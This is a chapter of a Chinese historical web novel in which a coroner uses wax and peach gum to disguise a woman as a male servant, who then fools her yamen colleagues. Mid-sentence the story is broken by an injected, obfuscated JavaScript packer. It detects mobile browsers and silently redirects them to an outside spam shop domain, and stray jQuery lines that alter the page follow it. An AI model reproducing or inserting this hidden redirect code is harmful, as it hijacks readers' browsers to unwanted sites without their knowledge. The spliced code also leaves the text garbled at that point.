李青禾翻起那书书皮,“不是,我寻你另有他事。不过什么书如此有趣,瞧你看得一脸盎然,我倒要看看...”书皮上赫然几个大字《尸身修复术》,默声放下书皮,又看到书内绘图,只觉得眼睛有些痛,“......难怪书中这些图如此...难以入目。”
王思雁瞧她反应颇觉好笑,“这些图是有些夸张吓人,但内容十分有趣。讲的是如何修补破损尸身使其复原的法子,这样可使那些尸身损坏严重的死者有个最后的体面。比如我看的这页,讲的是如何修补破损皮肤,不太严重的面容毁坏都几乎能复原,太过严重的话就得用其它法子。”
李青禾一听,眼眸发亮,“毁坏的面容都能复原?那岂不是也能改变一些面容特征?”
王思雁觉得她的想法很是新奇,想了想,说道,“你这说法倒是有趣,不过我觉得应当是可以。我刚学,还未来及练习,不过此书仵作身份可能也用不上,我只是觉得它有趣当作闲书看看罢了。仵作面对的都是受害者的尸身,以勘验为主,最多帮其缝合断裂及切口,倒是用不上如此精妙的修复术。”
“用得上用得上,我用得上。这儿就有个现成的让你练手。”
王思雁一头雾水,茫然看她,“你在胡言乱语什么?”
李青禾一把握住桌角,桌角有些承受不住她的力道,“嘎吱嘎吱”响动,心中大喜,心急说道,“我来找你正是与此事有关,寻思着你们仵作定是对人身体各个部位最是了解。是这样,晚间我有个急差,需要扮作小厮。此番来寻你就是想问问看是否有法子将我的面容稍作改变,让我看起来更像个年纪小的小厮。”
王思雁眼眸一亮,听明白了她的意思,颇有兴趣,又有些迟疑道,“不过那些法子我目前也只是了解,从未实践过,实在不敢保证效果如何。”
李青禾看起来比她还有信心,“我相信有你这双巧手定是能行,全靠你了。”
王思雁思索一番,又看了一看那本书,咬咬牙,“行,此事我应了。晚间何时的差事?”
“酉时前一定要弄完,越早越好,还有些旁的事要准备。”
“还有两个时辰,应是够了。这样,你去替我寻一些红烛和白烛,红烛少量,白烛多量,再找些桃胶来。”
“用这些就可变化容貌?”
“不止,还需要些物件,我会准备。我们分头行动,这样最快。”
“好,我立马去。”李青禾风风火火就往外跑。
王思雁忙加了一句,“再寻身贴身的小厮衣裳。”
“好嘞。”
未用多久就将所需之物备齐,李青禾抱着一包物件跑了回来,王思雁也提着一个装满东西的小篮子,见她进来,“我们换个地方弄,别在此间搅扰他人。”
李青禾一想也对,“那去我常用来更衣的那个小杂物间?基本无人去。”
“好。”
一同带着东西到小杂物间,里面有些杂乱,两人收拾出一张空桌。李青禾将她们带来的物件一一摆开,按捺不住好奇,不停发问,“思雁,这些蜡烛是用来干甚的?”
“等下你就知晓了。”
“这个桃胶又是用来干甚的?”
“等下你就知晓了。”
“你还找了棉丝?这又是用来干甚的?”
“等下你就知晓了。”
“......”
李青禾三吃闭门羹,觉得有些饱了,紧闭嘴巴不再多问,手上动作飞快将物件摆放整齐。王思雁拿起火折子点燃小火炉,将陶碗置于其上,取出白烛用小刀刮成小块,不停搅动待其融化成蜡液,加入少许红烛碎屑,待两种蜡液融在一起后用木棍取下陶碗放在桌上稍稍放凉。又取出另一个陶碗放在小火炉上,加入少许桃胶待其融化。抬手招呼李青禾,“苗苗,你来此坐下。”
“好。”李青禾在旁处椅子坐下,“我该如何?”
“你坐好就行,待会儿我在你脸上弄的时候会有些烫,但不会伤到你,你莫乱动。”
“好。”
蜡液表层已开始凝固成淡粉色,王思雁用手拈起表层,待内层尚未凝固之际加入一些剪得碎碎的棉丝,覆在李青禾小而圆的鼻尖上,李青禾只看到自己眼前有一双白手不断揉捏,她注意力全然在那双手上,把自己看成了个斗鸡眼。王思雁将蜡块捏成自己满意的形状,待其稍变硬后取下放在一旁,以此方法又在李青禾脸上额头、颧骨、下巴等需要做调整的地方动作,最后还不忘加个假喉结,期间蜡液凝固的极快,只能不停加热取下。
这头桃胶也融化好了,将化好的桃胶混入些细碎棉丝,用小毛刷沾取少许刷在那些蜡块内侧,轻轻吹气,“有些烫,你忍忍,切勿乱动。”
“好。”李青禾绷紧全身,坐得笔直,一动不动。
王思雁将蜡块一一粘在李青禾脸上,不断调整,直至满意,“好了。”
李青禾拿起小铜镜,镜中映着自己的模样,这一看连自己都没认出这是谁,“此术当真精妙,容貌变化不少,不过这颜色看起来与我肤色有些差异,旁人能一眼识破吧?”
“莫急,我说的好了只是这一步好了,我还得为你上妆修饰,保管旁人看不出。”王思雁拿起上妆工具,在李青禾脸上细细涂抹描画,两刻钟后停下手,满意瞧着自己精心打造的脸蛋。最后仔仔细细将假喉结贴好,又抹上粉掩盖痕迹,“大功告成。”
“我瞧瞧。”李青禾再次拿起小铜镜,原来那张清秀娃娃脸再也寻不到半分痕迹,换成一张长相有些秀气的年轻男子面容,“当真妙极,我自己都不识得我自己了。”
王思雁欣慰瞧着自己所造,有些自得,“怎样?我初次使用这手艺,未曾想竟如此成功。”
李青禾不吝夸赞,“我就说思雁能行的,真真心灵手巧,妙手生脸啊。”
王思雁有些飘然,忙谦虚道,“诶,过誉过誉。对了,还有几处你需注意。”
“愿闻其详。”
王思雁正色道,“一是这些都是蜡液所用,用桃胶粘合,而桃胶遇水和高温易融,导致脱开,你行动时需仔细注意,切勿体温升高大量出汗,待你完成任务后用帕子沾上热水轻敷片刻即可取下。”
“好,我已记下,还有呢?”
“二是你需裹胸,将胸缠平,现下所穿衣物若不裹胸,容易叫人瞧出端倪。”
“好,此处我已想到,方才取衣服时一并拿了。”
“那样便好,还有一点,男子说话大多嗓音宽厚,你可打开喉道,辅以鼻后发声。”王思雁指指她鼻子后部,示范给她听,“就像这样。”
“思雁你学的还真像,我也试试。”李青禾照她所说调整,低沉出声,“是这样吗?”
王思雁点头,“有几分那个意思,趁还未去之前多加练习。”
李青禾也不换回原声,直接以这种方式说话,“好,我晓得了。”
王思雁瞧她模样甚是好玩,转手开始收拾桌上的东西,“那此处无我什么事了,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935957|213714||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
先回去了。”
“此番当真多谢,辛苦思雁,”
“我这三两下有何辛苦,辛苦的该是你们才是。”说话间王思雁已收拾好东西,提着离开房间。
李青禾送她离开,将门关好,褪下衣物,穿上裹胸,套上小厮衣服。打量镜中之人,拆下头发重新梳了个合适的发型。幸好自己幼时怕痛,并未打过耳洞,倒不用怕因此暴露。收拾妥帖,将碎魂棍绑在腿上,时辰已不早,李青禾走出屋内,打算去寻李昭安。
院中小六正到处抓着人问,“见到苗苗了吗?晓得苗苗在哪吗?”被人之人皆摇头。
李青禾站在檐下,不动声色瞧着,正巧小六与自己颇熟悉,可借此机会试探一番这变装成果如何。忽然想到什么,若是小厮定然得带上几分小心谨慎的模样,当不会有自己方才那般淡定从容、眼神犀利,她将肩微微塌下,双手交握放在身前,眉眼耷拉。
小六一路寻过来,到处都未寻到李青禾,忍不住抱怨,“这人哪去了,如此重要时候怎就不见人影?知县和李典史还等着她呢。”心中不住犯嘀咕,转头注意到前方檐下所站之人,面生得很。“咦,你是谁家的人,怎在县衙之内?此处乃县衙重地,未经应允闲杂人等不得入内,速速离去,莫要徒徒生了事端。”
李青禾内心一喜,还真没认出自己,忙装作小心回道,“小的是陈大东家身边的小厮,大东家派小的来此处办事。”
小六狐疑打量她,“陈大东家?陈明理公子?他向来不来前头,会有何事要来此处办。你这小童可莫要胡诌,速速离去。”
李青禾一脸可怜,抬头望向小六,“大人可冤枉小的了,小的说的句句属实。”
小六瞧着那张全然面生的脸,可“他”的眼眸看起来又有几分熟悉感,不由皱起眉,“嘿,你这人怎地不听人言?非要我动手将你赶出去吗?”
李青禾看他一本正经的模样有些憋不住,“大人饶命啊,小的...小的...哈哈哈哈...”还是没忍住破了功,露出原声笑起来,又不敢太大动作,怕脸上蜡块崩掉,一时表情颇为扭曲。
小六听着这熟悉的笑声,惊疑不定盯着眼前龇牙咧嘴面容陌生之人,满脸讶异,“你到底是何人?竟敢戏耍于我。”
李青禾稍稍平复,站直身体,“小六哥,是我。看来此番我这乔装颇为成功,能把你骗了去。”
小六满脸愕然,难以置信道,“苗苗?竟然是你?怎地这副打扮?”
“晚上有个差事,需要稍作乔装。”
小六没好气瞪她一眼,“你这哪里叫稍作,说一句换了个人都不为过。我说怎地哪哪都寻不见你,这副模样谁人能认出?”
李青禾笑道,“要的就是这般效果。”
小六想起正事,忙说道,“对了,陈知县和李典史在二堂等你,你速速同我前去。”
两人匆匆赶到二堂,陈易之和李昭安已等候多时,瞧着小六带着一面生年轻男子进来,李昭安有些火大,“让你找李青禾,她人呢?怎随意带了个生人前来。”
小六刚进门便被当头喝骂,心下委屈,辩解道,“典史大人,您听卑职解释......”
李昭安摆手道,“有何好说?速去将李青禾带来,莫要误了正事,其余事推后再说。”
小六霎时感觉自己如同吃一盆黄莲一般苦,哭丧着脸向李青禾求助。李青禾艰辛绷住表情,尽量让自己看起来从容淡定,上前一步抱拳行礼,“回两位大人,青禾在此。”